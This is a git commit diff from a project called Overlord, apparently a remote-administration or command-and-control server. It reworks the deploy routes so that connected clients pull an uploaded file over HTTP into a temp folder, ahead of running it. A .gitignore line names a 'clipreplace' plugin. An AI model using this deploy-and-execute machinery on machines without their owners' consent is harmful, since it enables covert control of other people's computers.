fix execution uploading
This commit is contained in:
@@ -2,6 +2,7 @@
|
|||||||
TODO-IMPROVEMENTS.md
|
TODO-IMPROVEMENTS.md
|
||||||
upx-reference.txt
|
upx-reference.txt
|
||||||
Overlord-Desktop-Tauri\*
|
Overlord-Desktop-Tauri\*
|
||||||
|
plugin-clipreplace
|
||||||
|
|
||||||
# Node/Bun
|
# Node/Bun
|
||||||
node_modules/
|
node_modules/
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ import { AuditAction, logAudit } from "../../auditLog";
|
|||||||
import * as clientManager from "../../clientManager";
|
import * as clientManager from "../../clientManager";
|
||||||
import { metrics } from "../../metrics";
|
import { metrics } from "../../metrics";
|
||||||
import { encodeMessage } from "../../protocol";
|
import { encodeMessage } from "../../protocol";
|
||||||
|
import { createUploadPull } from "./file-download-routes";
|
||||||
|
|
||||||
type RequestIpProvider = {
|
type RequestIpProvider = {
|
||||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||||
@@ -175,8 +176,6 @@ export async function handleDeployRoutes(
|
|||||||
return new Response("Not found", { status: 404 });
|
return new Response("Not found", { status: 404 });
|
||||||
}
|
}
|
||||||
|
|
||||||
const bytes = new Uint8Array(await fs.readFile(upload.path));
|
|
||||||
const chunkSize = 256 * 1024;
|
|
||||||
const results: Array<{ clientId: string; ok: boolean; reason?: string; command?: string }> = [];
|
const results: Array<{ clientId: string; ok: boolean; reason?: string; command?: string }> = [];
|
||||||
|
|
||||||
const formatCommandDisplay = (commandPath: string, commandArgs: string) => {
|
const formatCommandDisplay = (commandPath: string, commandArgs: string) => {
|
||||||
@@ -208,34 +207,30 @@ export async function handleDeployRoutes(
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
const dir = clientOs === "windows"
|
const destDir = clientOs === "windows"
|
||||||
? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
|
? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
|
||||||
: `/tmp/overlord/${upload.id}`;
|
: `/tmp/overlord/${upload.id}`;
|
||||||
const destPath = clientOs === "windows"
|
const destPath = clientOs === "windows"
|
||||||
? `${dir}\\${upload.name}`
|
? `${destDir}\\${upload.name}`
|
||||||
: `${dir}/${upload.name}`;
|
: `${destDir}/${upload.name}`;
|
||||||
|
|
||||||
|
const pullId = createUploadPull({
|
||||||
|
clientId,
|
||||||
|
filePath: upload.path,
|
||||||
|
fileName: upload.name,
|
||||||
|
size: upload.size,
|
||||||
|
});
|
||||||
|
const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
|
||||||
|
|
||||||
target.ws.send(
|
target.ws.send(
|
||||||
encodeMessage({
|
encodeMessage({
|
||||||
type: "command",
|
type: "command",
|
||||||
commandType: "file_mkdir",
|
commandType: "file_upload_http",
|
||||||
id: uuidv4(),
|
id: uuidv4(),
|
||||||
payload: { path: dir },
|
payload: { path: destPath, url: pullUrl, total: upload.size },
|
||||||
}),
|
}),
|
||||||
);
|
);
|
||||||
|
|
||||||
for (let offset = 0; offset < bytes.length; offset += chunkSize) {
|
|
||||||
const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length));
|
|
||||||
target.ws.send(
|
|
||||||
encodeMessage({
|
|
||||||
type: "command",
|
|
||||||
commandType: "file_upload",
|
|
||||||
id: uuidv4(),
|
|
||||||
payload: { path: destPath, data: chunk, offset, total: bytes.length },
|
|
||||||
}),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (clientOs !== "windows") {
|
if (clientOs !== "windows") {
|
||||||
target.ws.send(
|
target.ws.send(
|
||||||
encodeMessage({
|
encodeMessage({
|
||||||
@@ -302,8 +297,9 @@ export async function handleDeployRoutes(
|
|||||||
return new Response("Not found", { status: 404 });
|
return new Response("Not found", { status: 404 });
|
||||||
}
|
}
|
||||||
|
|
||||||
const bytes = new Uint8Array(await fs.readFile(upload.path));
|
const fileBytes = new Uint8Array(await fs.readFile(upload.path));
|
||||||
const chunkSize = 256 * 1024;
|
const fileHash = createHash("sha256").update(fileBytes).digest("hex");
|
||||||
|
|
||||||
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||||
|
|
||||||
for (const clientId of clientIds) {
|
for (const clientId of clientIds) {
|
||||||
@@ -325,34 +321,30 @@ export async function handleDeployRoutes(
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
const dir = clientOs === "windows"
|
const destDir = clientOs === "windows"
|
||||||
? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
|
? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
|
||||||
: `/tmp/overlord/${upload.id}`;
|
: `/tmp/overlord/${upload.id}`;
|
||||||
const destPath = clientOs === "windows"
|
const destPath = clientOs === "windows"
|
||||||
? `${dir}\\${upload.name}`
|
? `${destDir}\\${upload.name}`
|
||||||
: `${dir}/${upload.name}`;
|
: `${destDir}/${upload.name}`;
|
||||||
|
|
||||||
|
const pullId = createUploadPull({
|
||||||
|
clientId,
|
||||||
|
filePath: upload.path,
|
||||||
|
fileName: upload.name,
|
||||||
|
size: upload.size,
|
||||||
|
});
|
||||||
|
const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
|
||||||
|
|
||||||
target.ws.send(
|
target.ws.send(
|
||||||
encodeMessage({
|
encodeMessage({
|
||||||
type: "command",
|
type: "command",
|
||||||
commandType: "file_mkdir",
|
commandType: "file_upload_http",
|
||||||
id: uuidv4(),
|
id: uuidv4(),
|
||||||
payload: { path: dir },
|
payload: { path: destPath, url: pullUrl, total: upload.size },
|
||||||
}),
|
}),
|
||||||
);
|
);
|
||||||
|
|
||||||
for (let offset = 0; offset < bytes.length; offset += chunkSize) {
|
|
||||||
const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length));
|
|
||||||
target.ws.send(
|
|
||||||
encodeMessage({
|
|
||||||
type: "command",
|
|
||||||
commandType: "file_upload",
|
|
||||||
id: uuidv4(),
|
|
||||||
payload: { path: destPath, data: chunk, offset, total: bytes.length },
|
|
||||||
}),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (clientOs !== "windows") {
|
if (clientOs !== "windows") {
|
||||||
target.ws.send(
|
target.ws.send(
|
||||||
encodeMessage({
|
encodeMessage({
|
||||||
@@ -364,7 +356,7 @@ export async function handleDeployRoutes(
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
const hash = createHash("sha256").update(bytes).digest("hex");
|
const hash = fileHash;
|
||||||
target.ws.send(
|
target.ws.send(
|
||||||
encodeMessage({
|
encodeMessage({
|
||||||
type: "command",
|
type: "command",
|
||||||
|
|||||||
@@ -61,6 +61,7 @@ type UploadPull = {
|
|||||||
size: number;
|
size: number;
|
||||||
expiresAt: number;
|
expiresAt: number;
|
||||||
timeout: ReturnType<typeof setTimeout>;
|
timeout: ReturnType<typeof setTimeout>;
|
||||||
|
deleteFile: boolean;
|
||||||
};
|
};
|
||||||
|
|
||||||
type FileDownloadRouteDeps = {
|
type FileDownloadRouteDeps = {
|
||||||
@@ -299,6 +300,33 @@ async function serveDownloadById(
|
|||||||
return new Response(streamFileAndDelete(completed.tmpPath), { headers });
|
return new Response(streamFileAndDelete(completed.tmpPath), { headers });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function createUploadPull(opts: {
|
||||||
|
clientId: string;
|
||||||
|
filePath: string;
|
||||||
|
fileName: string;
|
||||||
|
size: number;
|
||||||
|
ttlMs?: number;
|
||||||
|
}): string {
|
||||||
|
const pullId = uuidv4();
|
||||||
|
const ttl = opts.ttlMs ?? FILE_UPLOAD_PULL_TTL_MS;
|
||||||
|
const expiresAt = Date.now() + ttl;
|
||||||
|
const pullTimeout = setTimeout(() => {
|
||||||
|
uploadPulls.delete(pullId);
|
||||||
|
}, ttl);
|
||||||
|
uploadPulls.set(pullId, {
|
||||||
|
id: pullId,
|
||||||
|
clientId: opts.clientId,
|
||||||
|
path: opts.filePath,
|
||||||
|
fileName: opts.fileName,
|
||||||
|
tmpPath: opts.filePath,
|
||||||
|
size: opts.size,
|
||||||
|
expiresAt,
|
||||||
|
timeout: pullTimeout,
|
||||||
|
deleteFile: false,
|
||||||
|
});
|
||||||
|
return pullId;
|
||||||
|
}
|
||||||
|
|
||||||
export async function handleFileDownloadRoutes(
|
export async function handleFileDownloadRoutes(
|
||||||
req: Request,
|
req: Request,
|
||||||
url: URL,
|
url: URL,
|
||||||
@@ -446,7 +474,7 @@ export async function handleFileDownloadRoutes(
|
|||||||
const pullTimeout = setTimeout(() => {
|
const pullTimeout = setTimeout(() => {
|
||||||
const pull = uploadPulls.get(pullId);
|
const pull = uploadPulls.get(pullId);
|
||||||
uploadPulls.delete(pullId);
|
uploadPulls.delete(pullId);
|
||||||
if (pull) {
|
if (pull && pull.deleteFile) {
|
||||||
void fs.unlink(pull.tmpPath).catch(() => {});
|
void fs.unlink(pull.tmpPath).catch(() => {});
|
||||||
}
|
}
|
||||||
}, FILE_UPLOAD_PULL_TTL_MS);
|
}, FILE_UPLOAD_PULL_TTL_MS);
|
||||||
@@ -460,6 +488,7 @@ export async function handleFileDownloadRoutes(
|
|||||||
size: stagedSize,
|
size: stagedSize,
|
||||||
expiresAt: pullExpiresAt,
|
expiresAt: pullExpiresAt,
|
||||||
timeout: pullTimeout,
|
timeout: pullTimeout,
|
||||||
|
deleteFile: true,
|
||||||
});
|
});
|
||||||
|
|
||||||
return Response.json({
|
return Response.json({
|
||||||
@@ -514,7 +543,10 @@ export async function handleFileDownloadRoutes(
|
|||||||
"Content-Length": String(pull.size),
|
"Content-Length": String(pull.size),
|
||||||
};
|
};
|
||||||
|
|
||||||
return new Response(streamFileAndDelete(pull.tmpPath), { headers });
|
const body = pull.deleteFile
|
||||||
|
? streamFileAndDelete(pull.tmpPath)
|
||||||
|
: Bun.file(pull.tmpPath).stream();
|
||||||
|
return new Response(body, { headers });
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!url.pathname.startsWith("/api/file/download")) {
|
if (!url.pathname.startsWith("/api/file/download")) {
|
||||||
|
|||||||
Reference in New Issue
Block a user